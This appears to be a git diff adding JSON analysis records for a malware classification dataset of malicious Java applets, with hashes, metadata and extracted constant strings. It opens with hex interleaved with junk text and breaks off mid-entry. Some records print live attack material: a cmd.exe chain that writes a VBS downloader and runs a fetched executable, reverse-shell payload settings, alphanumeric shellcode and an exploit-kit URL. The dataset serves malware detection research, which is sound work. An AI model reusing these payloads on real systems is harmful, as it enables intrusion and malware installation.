001273657453656375726974794D61bilajionoristoran6E6167657201001E284C6A6176612F6Cbilajionoristoran616E672F53656375726974794D616Ebilajionoristoran616765723B29560A002A002C07002bilajionoristoranB0100116A6176612F6C616E672Fbilajionoristoran496E74656765720C002D00bilajionoristoran2E01000776616C75654Fbilajionoristoran660100162849294C6A6176612F6C6bilajionoristoran16E672F496E74656765723B01000bilajionoristoranA536F7572636546696C65010009546bilajionoristoran96D652E6A61766100210001000300010bilajionoristoran0050000000200010007000800020009bilajionoristoran000000040001000A000C0000006F00bilajionoristoran0100030000000E2AB7000D2AB800bilajionoristoran1057A700044DB10001000400bilajionoristoran09000C0016000300180000001bilajionoristoran20004000000080004000D00090bilajionoristoran00E000D0010001900000016bilajionoristoran00020000000E001A001B0000bilajionoristoran0000000E001C001D00010bilajionoristoran01E000000130002FF000Cbilajionoristoran000207000107001F0001070016bilajionoristoran000001002100220001000C0000bilajionoristoran0038000100010000000A01bilajionoristoranB800231038B80029B0000000020018bilajionoristoran0000000A00020000001bilajionoristoran30004001400190000000C0bilajionoristoran0010000000A001A001B000bilajionoristoran00001002F0000bilajionoristoran00020030", "bilajionoristoranACED0bilajionoristoran005757200bilajionoristoran135B4C6A6176612bilajionoristoranE6C616E672Ebilajionoristoran4F626A656374bilajionoristoran3B90CE58bilajionoristoran9F1073296C02bilajionoristoran00007870000bilajionoristoran000027572000bilajionoristoran95B4C48656C706bilajionoristoran5723BFE2C94118bilajionoristoran8B6E5FF020000bilajionoristoran78700000000170bilajionoristoran737200306A617bilajionoristoran6612E7574696Cbilajionoristoran2E636F6E63757bilajionoristoran272656E742bilajionoristoranE61746F6D69632Ebilajionoristoran41746F6D696bilajionoristoran35265666572656bilajionoristoranE63654172726179bilajionoristoranA9D2DEA1BE65600bilajionoristoranC0200015B00056172bilajionoristoran7261797400135bilajionoristoranB4C6A6176612Fbilajionoristoran6C616bilajionoristoranE672F4F6bilajionoristoran26A65637bilajionoristoran43B78707bilajionoristoran1007E000bilajionoristoran3"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a4969dfa974481465b6ff00221b7c07df9694bf1", "file_name": "java_malicious/5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690", "_id": "e0da01ae-29e4-43f4-b0a3-1897460196dc", "score": 0, "entropy": 5.329896917339209, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 9378, "ssdeep": "96:8lIFlPLhny79hOeylPda2LStDI8ayjZ94aTvZTMUuyko4Rcn5MRECfOPntEesX4:8YlTZy79Bt9DjZaaTRTMUuPo4m2RGtZ", "sha256": "5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690", "md5": "00d3c772abef4889f531e1fd37677a88", "parent_sha256": "5999aaefc118f9c02bbccf5b12ff90869d4241bd4c4290aef5830e06be6d9690"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40.results b/java_classification/data/malicious/5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40.results new file mode 100755 index 0000000..5f2982c --- /dev/null +++ b/java_classification/data/malicious/5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MwcNrKk.java", "class_name": "MwcNrKk", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "log", "init", "toHex", "tryExpl", "down_exec"], "minor_version": 0, "const_pool_count": 336}}, "_id": "0c096ca1-d507-4832-8f68-18b741ba4c79", "verbose": {"java": {"constant strings": ["", "os.arch", "64", " ", "%20", "&s=", "&d=", "data", "no", "setSecurityManager", "HMEMSDB", ".exe", "&s=2&d="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f7c9e2ceb3eaf17d67a1f246beb76622ee2103c7", "file_name": "java_malicious/5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40", "_id": "0c096ca1-d507-4832-8f68-18b741ba4c79", "score": 0, "entropy": 5.921938162878253, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6533, "ssdeep": "96:AnXl7SxVk9ayWMTuLIbLJxNa7689DvAlj2hfCE5mIKB3oot56UuW:ol2xVlyWvcNq764vAl1Vzr3", "sha256": "5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40", "md5": "5b07ec40be07bec108c60e366b363c76", "parent_sha256": "5ab91099f2ed45f468dc8e41ca8ef88b0681c7bbc0bf7ae59a44e1a83ce06d40"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2.results b/java_classification/data/malicious/5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2.results new file mode 100755 index 0000000..e3b8186 --- /dev/null +++ b/java_classification/data/malicious/5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "xlIjTaRPaP/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "4b7bd823-da2a-4553-a645-30538133e8db", "verbose": {"java": {"constant strings": ["xlIjTaRPaP.Payload", ".class", "/xlIjTaRPaP.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "xlIjTaRPaP.dat", "URL", "", "https:", "xlIjTaRPaP/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "xlIjTaRPaP/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "xlIjTaRPaP.PayloadTrustManager", "useFor", "java.net.URLConnection", "xlIjTaRPaP.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaOXQdnQj.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d2ed1ff33886a0b89baee3d8b48fa66dee01df81", "file_name": "java_malicious/5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2", "_id": "4b7bd823-da2a-4553-a645-30538133e8db", "score": 0, "entropy": 6.133789777316359, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMr7DUBD+W5lThmkztxnIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tNDPtmk9NvpvUrKYvCkgHzbDrDF", "sha256": "5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2", "md5": "e6738c91a87fcd22538fceaec60e19ac", "parent_sha256": "5bf99d77e30de631f00275a471e189fdb05662569f8b57901a197d580e27b2d2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca.results b/java_classification/data/malicious/5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca.results new file mode 100755 index 0000000..401cda0 --- /dev/null +++ b/java_classification/data/malicious/5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "a/Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "boremana"], "minor_version": 0, "const_pool_count": 138}}, "_id": "696726dd-132f-417c-a646-dca9b421042e", "verbose": {"java": {"constant strings": ["roitnoiergnirjgoiejrgiorjgoerijg", "url", "mmc.sess_pe_act.action=validate\\nthread.thread_num_max=8\\nfile.destructive.state=disabled\\njscan.session.user_name=MS4xLjEuNg==\\njscan.sess_applet_act.unsigned=instrument\\njscan.sess_applet_act.stub_out_blocked_applet=true\\njscan.sess_applet_act.block_all=false\\nmmc.sess_pe_act.block_invalid=true\\nmmc.sess_cab_act.block_unsigned=false\\nthread.thread_num_limited=true\\nwindow.num_max=5\\njscan.session.policyname=TU1DIERlZmF1bHQgUG9saWN5\\njscan.sess_applet_act.sig_trusted=pass\\njscan.sess_applet_act.sig_invalid=block\\nmmc.sess_pe_act.block_blacklisted=false\\nmmc.sess_cab_act.block_blacklisted=true\\njscan.sess_applet_act.sig_blacklisted=block\\njscan.session.origin_uri=http://kifrer.instanthq.com/profile.php?exp=atom&b=2b52293&k=42ceeda9451ad8c464a656ce5d97d70f\\nnet.connect_other=false\\njscan.session.user_ipaddr=1.1.1.6\\njscan.session.daemon_protocol=http\\nthread.threadgroup_create=false\\nfile.read.state=disabled\\nfile.nondestructive.state=disabled\\nnet.bind_enable=false\\nnet.connect_src=true\\nmmc.sess_cab_act.action=validate\\nmmc.sess_pe_act.block_unsigned=false\\nfile.write.state=disabled\\nmmc.sess_cab_act.block_invalid=true\\nwindow.num_limited=true", "instr.action.send_data=send data to {0}\\ninstr.action.invoke_sys_noarg=invoke the {0}.{1}() operation\\ninstr.msg.dialog.applet_terminated=APPLET TERMINATED\\ninstr.button.no=No\\ninstr.button.allow=Allow\\ninstr.action.bind_local=bind local port {0}\\ninstr.action.policy_stop_error=Applet disabled by IWSVA Javascan site policy.\\ninstr.action.connect=connect to {0}\\ninstr.action.runtime.exec=run the following executable: {0}\\ninstr.action.invoke_sys_arg=invoke the {0}.{1}() operation on {2}\\ninstr.button.yes=Yes\\ninstr.action.policy_security_exception=The Applet is not allowed to {0} by IWSVA Javascan site policy.\\ninstr.action.file.write=perform a write operation on file {0}\\ninstr.dialog.title.applet_alert=--APPLET ALERT--\\ninstr.action.receive_data=receive data from {0}\\ninstr.action.bind_local_unspec=bind to a free local port\\ninstr.msg.dialog.applet_stopped=The applet has been terminated because it was attempting to perform an action that violates corporate security policy.\\ninstr.msg.thread.limit=have more than {0} active threads\\ninstr.msg.dialog.ask_stop_applet=Do you want to stop the applet now?\\ninstr.msg.window.limit=have more than {0} active windows\\ninstr.action.file.nondestructive_alt=access \"{0}\" state attributes\\ninstr.action.invoke=invoke {0}\\ninstr.button.ok=OK\\ninstr.msg.dialog.action_warning_start=The applet is attempting to {0}\\ninstr.msg.thread.group_limit=create new thread groups\\ninstr.button.stop_applet=Stop Applet\\ninstr.action.file.destructive_alt=perform a \"{0}\" state change operation\\ninstr.action.file.nondestructive=access the \"{1}\" state attributes of file {0}\\ninstr.action.file.destructive=perform a \"{1}\" state change operation on file {0}\\ninstr.button.disallow=Disallow\\ninstr.action.file.read=perform a read operation on file {0}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "82943b7c2771901f169e8dd1432370b42a6b5f04", "file_name": "java_malicious/5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca", "_id": "696726dd-132f-417c-a646-dca9b421042e", "score": 0, "entropy": 5.854914770261878, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 7827, "ssdeep": "192:CRAlpZxQgmNNcgqAOr3z4ukO28wXuymgc1JZhMtD7Rju174ace5JuzVJHtTQu:jtxTuqAy4lXuymT1JAtc49e5Juz", "sha256": "5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca", "md5": "d12878fd110df5fdc7e7f686e24c995f", "parent_sha256": "5bfbb86cde0cdfb4c1ecfdaefba3e008438796d9a5502c15d9039c27819536ca"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9.results b/java_classification/data/malicious/5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9.results new file mode 100755 index 0000000..d9b1454 --- /dev/null +++ b/java_classification/data/malicious/5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 68}}, "_id": "e047f2d5-e874-43ed-b108-5cb53eb03fa1", "verbose": {"java": {"constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINpNpLPNpNpnpJ0NpnpLPKXuPePc0uPzK7pM9ylEPwpc0aOqtOQtpePWpePT8TLLKSptLLKt0uLNMNkqxdHXk39lKspttLMspqlnkU8ElnkzWPjvd2yJHLOWpWp5P8b9iQx0oPn5PS0axPuabrLPmBtkODVNkM8M8rYwpuP30nkKg77opUoWpbUKJswrwswOpuouPQexzLKzOqO6SO9NahlTD5Q5PGplKYLPQ3bPSSXtDUQGpUP9orvFlsjaIf1f2LKTBPSrcop5kUPSEyjna1kIl4nperXREPuWsosZKdHMYgsZgQS34vNrEpxREYVSsvhWpqKOzIQ6dP0MXaUePUcYPpPbprsbwpPioaFR0osjXwpD5UV0jwqpSKOPVGtCjSioso2s4QQOpWJePpumdyoPVgxpQ2vNkRUWLLKCDdnt8TCzUv6nkpvq0ESJU7CYYaYg1Lm7szetsIKFoONr0tz8Vt4C8kqJkdMwshZG0xkl1gK7opuYwcnnkqN5tUSYMQvlK6lBknksneLwsyMLKuTnkFczeLkaNbyo3kXIokNKOKOLNRntNZLlXynMZvnqnxXKRBSp3yZnjqKTvvz6ObPPbQQBSE5GpQxT4CDppgJvO6OCEU3RFpxCXqusVPurPBNbF6NSSporMTorNPte5VOpt2RPed3T4Dq4p6NrPphPpvOu53xsV6WuhDx4stwfX51Cf6PtqTpfP2F4pp7p0dpvP5fbr4up1p2QqpbQv05TsP16PP2pTqrSSQqQusQE4sT3TFRfPvQ2L6PP4fP4yPKvSSUWDP6edp4UbtxP3tqp8CzTparvPtp4pp6Dp017pWpA", "419,20,7f,6d", ",", "file://abc/", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5f36c2804334c842b9940136355df38a9c760bff", "file_name": "java_malicious/5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9", "_id": "e047f2d5-e874-43ed-b108-5cb53eb03fa1", "score": 0, "entropy": 6.233537755283274, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2071, "ssdeep": "48:hKJyFlob5I2/HpnZYN1Cmoy+67WgLb/FlIZF3CHTTpozwZHGu:FFlZ2/fYN4lR6XtOHyzNozwZGu", "sha256": "5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9", "md5": "569727d162ed730a3792edc39f4ca135", "parent_sha256": "5c2cce9af13ab0d12c2ea0c1fd9c61cc33123e8c3bb01c992e1fb3bd87c407e9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39.results b/java_classification/data/malicious/5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39.results new file mode 100755 index 0000000..5662a96 --- /dev/null +++ b/java_classification/data/malicious/5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "0871dbbe-cc21-4469-bb9f-6f675021d995", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pj,0N,pN,pN,pl,Pz,0L,Pl,Pj,0z,HC,0W,ps,0S,0z,K3,0k,YK,Lg,pe,PU,PS,op,dm,q6,PU,P5,P7,pp,xt,LN,k3,pt,Ll,Kp,pu,Ln,Ml,K5,8W,xJ,KG,yl,KQ,Pp,4l,Ms,pq,ln,kE,8G,LL,K9,gs,ZS,41,I8,hL,OW,pc,03,0m,2X,yS,Xb,Op,ng,pG,pP,ht,5P,rP,l0,m0,TK,O7,fl,Ky,xM,8R,Y7,pS,0w,pN,kn,7s,wk,0W,OW,pr,Uz,Zs,wp,WR,gO,pU,ow,pQ,eJ,Zn,kX,oq,OW,Ck,yK,1X,lS,4U,Qg,pW,pn,kY,Lp,Qr,rR,sb,Hg,t5,QE,P7,pK,Op,Vd,LB,zq,Is,ap,Rl,K4,Bp,Sq,SM,PW,KU,Pq,ez,ZK,1Q,kK,Lf,N5,5R,Xs,Up,uV,cM,SZ,KC,8O,yf,cO,72,c6,d6,Nc,UQ,h0,eJ,fc,sE,Xw,pq,KM,ZO,1V,dp,0l,H2,e7,pp,3k,pF,0r,pP,Sv,70,Pi,o2,vf,pM,SL,8S,0p,uE,VP,jS,1r,sI,op,Ve,T0,ZC,iM,SH,BW,tr,ao,pg,JU,P0,um,dK,Op,V6,h0,Qs,fL,KT,55,lN,kQ,dV,NP,x3,3x,uR,vN,k0,vU,pw,sZ,UE,ck,yQ,Y3,qL,mt,Cz,eg,Cy,Kt,Om,nF,pE,jX,Vt,4c,8y,Qh,Kt,MW,sz,zq,PZ,Kz,Qu,kw,oR,U9,wQ,NN,ka,NU,tu,SI,Mp,fn,k6,lp,Kn,kq,Nu,Le,SY,Mn,k7,tN,kW,sy,Un,Kq,N1,Iy,SY,xk,Ok,NK,OY,on,nP,Nd,Nh,lO,hK,Nl,JV,ns,Ni,H8,b3,CU,cZ,jM,ZQ,K4,vt,ZD,oB,Pb,IP,Rw,3R,nw,pQ,x4,4T,4r,Pt,zD,oV,Op,7d,7p,i2,N0,xv,N1,sR,O2,Mv,OR,CS,WQ,yv,MC,Re,9P,nV,O1,tr,Id,2p,ep,cT,4P,or,Ra,if,NP,sR,Ha,dP,m0,lT,or,Nv,Pd,p5,hv,Qt,pp,6e,bv,P6,QW,Cf,PD,tp,rV,P0,46,Pd,yr,j4,q6,QT,pT,pP,07,FV,Pe,aV,2p,ep,4B,CT,tb,B4,sb,ET,us,ga,vg,GT,qt,qQ,qf,X1,tf,Pc,hQ,s4,wp,24,rs,Qu,cP,cv,U2,yp,8q,sQ,uc,Vv,Pv,U6,YF,RB,zp,0F,Qt,p6,PU,60,0v,XT,pg,pG,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c32cb2ca3ce67b8cc158816fc35a1fb8f7c16e23", "file_name": "java_malicious/5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39", "_id": "0871dbbe-cc21-4469-bb9f-6f675021d995", "score": 0, "entropy": 6.110905146496458, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3240, "ssdeep": "48:JOryFlpU/5iumiJzvod7R7YEmCuDqWY4IAFis+5ULpfmHezrTFzNe4WZ:HFlC5iuTLo/kEmTDE2iTULNkez1zNjWZ", "sha256": "5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39", "md5": "a29d86083a93a85c6864a389bc007776", "parent_sha256": "5c85bc2ba411cd1cb6dccacbc13cf4701cdaad30e48d341d8556def7c1a54f39"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd.results b/java_classification/data/malicious/5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd.results new file mode 100755 index 0000000..3933dd9 --- /dev/null +++ b/java_classification/data/malicious/5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HygsKCln.java", "class_name": "HygsKCln", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "FCBVTs", "uXuPQhk"], "minor_version": 0, "const_pool_count": 84}}, "_id": "d0bc075c-2197-423c-913c-658e6121f4f3", "verbose": {"java": {"constant strings": ["\\x02&\\x13 \\x0e;0", "\\x15\\x04\\x13\\x17\\x02\\x135\\x19\\x18\\x02\\x13\\x0e\\x02", "\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X5\\x19\\x1a\\x19\\x04;\\x19\\x12\\x13\\x1a\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X\\x1f\\x1b\\x17\\x11\\x13X5\\x19\\x1a\\x19\\x04;\\x19\\x12\\x13\\x1a\\x1c\\x17\\xc0\\x80\\x17X\\x17\\x01\\x02X$\\x13\\x18\\x12\\x13\\x04\\x1f\\x18\\x11>\\x1f\\x18\\x02\\x05"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "42f32a6fe661c76f2f49a58896721a085f935257", "file_name": "java_malicious/5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd", "_id": "d0bc075c-2197-423c-913c-658e6121f4f3", "score": 0, "entropy": 5.674902433769197, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1730, "ssdeep": "48:8uyFllLLELCbpdPVx8wQHWTuGddLlssVCDz:qFllLLEL4d/84NddLlXCf", "sha256": "5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd", "md5": "b7509cc5c2b9ac58b61cdde1aa8a6ce0", "parent_sha256": "5cdb5c39c82812666070488df66aa14579b576a769af327730d233a56c4050cd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1.results b/java_classification/data/malicious/5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1.results new file mode 100755 index 0000000..717f7f0 --- /dev/null +++ b/java_classification/data/malicious/5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "681c304f-c286-418f-9dec-56eb04dfb82e", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "lESEQb5EKYs2qluyX", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo gond=\"lESEQb5EKYs2qluy\">>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\lESEQb5E.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fa73f6c47a5ec8d1a975300d7839c5c2434f0ed4", "file_name": "java_malicious/5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1", "_id": "681c304f-c286-418f-9dec-56eb04dfb82e", "score": 0, "entropy": 5.882886148043369, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/gB3pDhZ0A5b3dyPo2uEigS0N6OFUdvXdGOXM89TAG8PnI:CzGlIB3pDv130PYEkOF6dpM89bUI", "sha256": "5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1", "md5": "9dd15e50669e120bb4dfe0337760be7b", "parent_sha256": "5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298.results b/java_classification/data/malicious/5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298.results new file mode 100755 index 0000000..8a72dac --- /dev/null +++ b/java_classification/data/malicious/5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/xombmjpjpzgph", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "xxjjgolltil", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "9ad0e5d5-b52e-4bcb-b35f-b49a3e67edde", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f37c819e1e01766288446f4dedf19192ab680f8a", "file_name": "java_malicious/5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298", "_id": "9ad0e5d5-b52e-4bcb-b35f-b49a3e67edde", "score": 0, "entropy": 5.201790886485507, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6931, "ssdeep": "96:KMHa8YcbqohqZLvPUdo8pLe2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TJBqdapLexhi/To55UTYwa5hGX1", "sha256": "5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298", "md5": "6f37b01b602228c05dc499af707dc4c0", "parent_sha256": "5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5.results b/java_classification/data/malicious/6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5.results new file mode 100755 index 0000000..be0e766 --- /dev/null +++ b/java_classification/data/malicious/6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "baaCCTOl.java", "class_name": "baaCCTOl", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "xybcmf", "init"], "minor_version": 0, "const_pool_count": 68}}, "_id": "aa718f13-a0f9-40e6-8f80-a12b3a4684f7", "verbose": {"java": {"constant strings": ["\\x19\\x0c<\\x01(", "o!tx}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "162bfd0dbb265a7a85e3f2838c1636331797e7c7", "file_name": "java_malicious/6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5", "_id": "aa718f13-a0f9-40e6-8f80-a12b3a4684f7", "score": 0, "entropy": 5.650043275602631, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1114, "ssdeep": "24:Da3yQul2BSLpPnhPQSe5pwblYvMGx9Cg6hkDklu6VETpWpBZqx:DuyFlxLpPuPeblYyg6OgLsGZK", "sha256": "6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5", "md5": "fff5fbf2fdf28101bf139509560a6746", "parent_sha256": "6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5"}} \ No newline at end of file diff --git a/java_classification/data/malicious/616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068.results b/java_classification/data/malicious/616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068.results new file mode 100755 index 0000000..999bddd --- /dev/null +++ b/java_classification/data/malicious/616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MyApplet.java", "class_name": "MyApplet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "QAvczvaesdfawsef", "loisbvg87ef", "DSAfqw2rfwqd", "toHex", "Afvqawfwd", "Gawsfwsfd", "NJNJ", 